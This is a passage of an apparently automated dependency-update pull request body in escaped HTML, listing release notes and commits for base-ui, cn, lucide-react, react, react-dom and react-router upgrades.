href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5921\"\u003e#5921\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/69c33b49c71d729a1e63255dd5eb9794fa9a8d2e\"\u003e\u003ccode\u003e69c33b4\u003c/code\u003e\u003c/a\u003e [drawer] Fix deferred touch swipes leaving the popup (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5922\"\u003e#5922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/51b70db60fb2660bbb7236ba5b235a5d77d9fe22\"\u003e\u003ccode\u003e51b70db\u003c/code\u003e\u003c/a\u003e [menu] Strip internal filter components from public types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5923\"\u003e#5923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/8d8b98c351c4d1ec9a6f80dcc89e39e454b1e53a\"\u003e\u003ccode\u003e8d8b98c\u003c/code\u003e\u003c/a\u003e [menu] Ignore filter input edits while the menu animates out (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5911\"\u003e#5911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/aeba3eb9f4613424c1a66f767bb20d25233306b6\"\u003e\u003ccode\u003eaeba3eb\u003c/code\u003e\u003c/a\u003e [combobox][menu][select] Revert highlightItem imperative action (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5910\"\u003e#5910\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/ec6bf32d3c1b482994810cf795f7016c375d6493\"\u003e\u003ccode\u003eec6bf32\u003c/code\u003e\u003c/a\u003e [field][select][combobox][slider] Fall back to the owner document when lookin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/1f112a5d2399e47d052601d05ca82a58272192a6\"\u003e\u003ccode\u003e1f112a5\u003c/code\u003e\u003c/a\u003e [popups] Avoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/bc53db672db4fa17302a95b449b376a7db52a625\"\u003e\u003ccode\u003ebc53db6\u003c/code\u003e\u003c/a\u003e [fieldset] Await render in Legend disabled-state test (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5909\"\u003e#5909\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/147092ee55c2e02bcbac2e45b17640d2d317bbb7\"\u003e\u003ccode\u003e147092e\u003c/code\u003e\u003c/a\u003e [test] Strengthen tests, add test lint rules and share copied suites (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5892\"\u003e#5892\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/mui/base-ui/commits/v1.9.0/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `cn` from 0.4.0 to 0.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/shadcn-ui/cn/releases\"\u003ecn's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ecn@0.5.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/cn/pull/157\"\u003e#157\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/cn/commit/663adeaa0ac37af101aa7790f2ce44df4a7e5043\"\u003e\u003ccode\u003e663adea\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Drop Node 20, which reached end of life, and require Node 22 or later.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/cn/pull/164\"\u003e#164\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/cn/commit/64aa1d0b6c708f1a23e53ade4db6c8c278eceb75\"\u003e\u003ccode\u003e64aa1d0\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - \u003ccode\u003ecn build\u003c/code\u003e now follows package \u003ccode\u003e@import\u003c/code\u003es, reads \u003ccode\u003e@theme\u003c/code\u003e declarations after nested blocks such as \u003ccode\u003e@keyframes\u003c/code\u003e, and drops names declared before a \u003ccode\u003e--*: initial\u003c/code\u003e reset.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/shadcn-ui/cn/blob/main/packages/cn/CHANGELOG.md\"\u003ecn's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.5.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/cn/pull/157\"\u003e#157\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/cn/commit/663adeaa0ac37af101aa7790f2ce44df4a7e5043\"\u003e\u003ccode\u003e663adea\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - Drop Node 20, which reached end of life, and require Node 22 or later.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/shadcn-ui/cn/pull/164\"\u003e#164\u003c/a\u003e \u003ca href=\"https://github.com/shadcn-ui/cn/commit/64aa1d0b6c708f1a23e53ade4db6c8c278eceb75\"\u003e\u003ccode\u003e64aa1d0\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/shadcn\"\u003e\u003ccode\u003e@​shadcn\u003c/code\u003e\u003c/a\u003e! - \u003ccode\u003ecn build\u003c/code\u003e now follows package \u003ccode\u003e@import\u003c/code\u003es, reads \u003ccode\u003e@theme\u003c/code\u003e declarations after nested blocks such as \u003ccode\u003e@keyframes\u003c/code\u003e, and drops names declared before a \u003ccode\u003e--*: initial\u003c/code\u003e reset.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/cn/commit/8ebcbf09d1a3355c235295e804a6126f6f2f069a\"\u003e\u003ccode\u003e8ebcbf0\u003c/code\u003e\u003c/a\u003e chore(release): version packages (\u003ca href=\"https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn/issues/158\"\u003e#158\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/cn/commit/64aa1d0b6c708f1a23e53ade4db6c8c278eceb75\"\u003e\u003ccode\u003e64aa1d0\u003c/code\u003e\u003c/a\u003e fix(build): read \u003ca href=\"https://github.com/theme\"\u003e\u003ccode\u003e@​theme\u003c/code\u003e\u003c/a\u003e scales the way Tailwind builds them (\u003ca href=\"https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn/issues/164\"\u003e#164\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/cn/commit/c71bd53a351d99dca12f0808ea7e1c7134ec4945\"\u003e\u003ccode\u003ec71bd53\u003c/code\u003e\u003c/a\u003e chore: migrate tooling to Vite+ (\u003ca href=\"https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn/issues/156\"\u003e#156\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shadcn-ui/cn/commit/663adeaa0ac37af101aa7790f2ce44df4a7e5043\"\u003e\u003ccode\u003e663adea\u003c/code\u003e\u003c/a\u003e chore: drop Node 20 (\u003ca href=\"https://github.com/shadcn-ui/cn/tree/HEAD/packages/cn/issues/157\"\u003e#157\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/shadcn-ui/cn/commits/cn@0.5.0/packages/cn\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.52.0 to 1.60.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.60.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003etombstone\u003c/code\u003e icon by \u003ca href=\"https://github.com/ryck\"\u003e\u003ccode\u003e@​ryck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4929\"\u003elucide-icons/lucide#4929\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003esmartphone-user-round\u003c/code\u003e icon by \u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebacon\u003c/code\u003e icon by \u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix build by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5033\"\u003elucide-icons/lucide#5033\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(docs): Update icon count comparison with Feather Icons by \u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eletter-spacing\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the vue-deps group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5027\"\u003elucide-icons/lucide#5027\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump react-native from 0.87.1 to 0.88.0 in the react-native-deps group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5030\"\u003elucide-icons/lucide#5030\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003eline-height\u003c/code\u003e icon by \u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3039\"\u003elucide-icons/lucide#3039\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the svelte-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5028\"\u003elucide-icons/lucide#5028\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump the react-deps group across 1 directory with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5026\"\u003elucide-icons/lucide#5026\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebrain-off\u003c/code\u003e icon by \u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003egraph-hub\u003c/code\u003e icon by \u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(svelte): export __iconData and __iconNode across per-icon modules (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4936\"\u003e#4936\u003c/a\u003e) by \u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4694\"\u003elucide-icons/lucide#4694\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/noahweidig\"\u003e\u003ccode\u003e@​noahweidig\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5022\"\u003elucide-icons/lucide#5022\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/madebyoz\"\u003e\u003ccode\u003e@​madebyoz\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3038\"\u003elucide-icons/lucide#3038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ej52\"\u003e\u003ccode\u003e@​ej52\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/3535\"\u003elucide-icons/lucide#3535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Carlito-la-banane\"\u003e\u003ccode\u003e@​Carlito-la-banane\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4974\"\u003elucide-icons/lucide#4974\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ronitgupta138\"\u003e\u003ccode\u003e@​ronitgupta138\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4957\"\u003elucide-icons/lucide#4957\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.59.0...1.60.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.59.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): Adds search field to docs pages by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5012\"\u003elucide-icons/lucide#5012\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003echess-queen\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4613\"\u003elucide-icons/lucide#4613\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.58.0...1.59.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.58.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(docs): add third-party package lucide-jte by \u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(integration-tests): Add Svelte integration tests for \u003ccode\u003e@ucide/svelte\u003c/code\u003e by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5005\"\u003elucide-icons/lucide#5005\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump the angular-deps group across 1 directory with 10 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5004\"\u003elucide-icons/lucide#5004\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): Fix homepage animation by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5015\"\u003elucide-icons/lucide#5015\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(ci): auto-generate PR titles from added file paths by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4790\"\u003elucide-icons/lucide#4790\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003ebarrel\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4639\"\u003elucide-icons/lucide#4639\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(dev): fix \u0026quot;Generate PR Title\u0026quot; job by using REST API for changed files by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/Copilot\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5017\"\u003elucide-icons/lucide#5017\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ecertificate\u003c/code\u003e icon by \u003ca href=\"https://github.com/rrod497\"\u003e\u003ccode\u003e@​rrod497\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4327\"\u003elucide-icons/lucide#4327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): update music icons by \u003ca href=\"https://github.com/jamiemlaw\"\u003e\u003ccode\u003e@​jamiemlaw\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4072\"\u003elucide-icons/lucide#4072\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sgruendel\"\u003e\u003ccode\u003e@​sgruendel\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5000\"\u003elucide-icons/lucide#5000\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/fa238cf2787d64393b74121631b518cee0c909c2\"\u003e\u003ccode\u003efa238cf\u003c/code\u003e\u003c/a\u003e chore(deps): bump the react-deps group across 1 directory with 2 updates (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/5026\"\u003e#5026\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/3f1255ecfa1b5b3a231e4aeb027781761204e187\"\u003e\u003ccode\u003e3f1255e\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​vitejs/plugin-react\u003c/code\u003e (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4995\"\u003e#4995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/949bc6d61f5964a98f99f4eb9b5bc291949ca18f\"\u003e\u003ccode\u003e949bc6d\u003c/code\u003e\u003c/a\u003e test(lucide-react): add tests for DynamicIcon fallback and ref forwarding (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4\"\u003e#4\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.60.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.3.0 to 19.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.3.1 (October 14th, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove transport protocol (\u003ca href=\"https://redirect.github.com/facebook/react/pull/37845\"\u003e#37845\u003c/a\u003e by \u003ca href=\"https://github.com/unstubbable\"\u003e\u003ccode\u003e@​unstubbable\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe\"\u003e\u003ccode\u003e61aa00d\u003c/code\u003e\u003c/a\u003e [19.3.x][Flight] Improve transport protocol (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.3.1/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-router` from 8.4.0 to 8.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/remix-run/react-router/releases\"\u003ereact-router's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.5.0\u003c/h2\u003e\n\u003cp\u003eSee the changelog for release notes: \u003ca href=\"https://github.com/remix-run/react-router/blob/main/CHANGELOG.md#v850\"\u003ehttps://github.com/remix-run/react-router/blob/main/CHANGELOG.md#v850\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/remix-run/react-router/blob/main/packages/react-router/CHANGELOG.md\"\u003ereact-router's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.5.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate React Router's view transition APIs in favor of React's \u003ccode\u003e\u0026lt;ViewTransition\u0026gt;\u003c/code\u003e component, available in React 19.3 and later (\u003ca href=\"https://redirect.github.com/remix-run/react-router/pull/15493\"\u003e#15493\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eDeprecate the \u003ccode\u003eviewTransition\u003c/code\u003e props/options, \u003ccode\u003euseViewTransitionState\u003c/code\u003e, and \u003ccode\u003eNavLink\u003c/code\u003e's \u003ccode\u003eisTransitioning\u003c/code\u003e render prop and \u003ccode\u003etransitioning\u003c/code\u003e class\u003c/li\u003e\n\u003cli\u003ePreserve existing behavior, including support for older React versions\u003c/li\u003e\n\u003cli\u003eSee the \u003ca 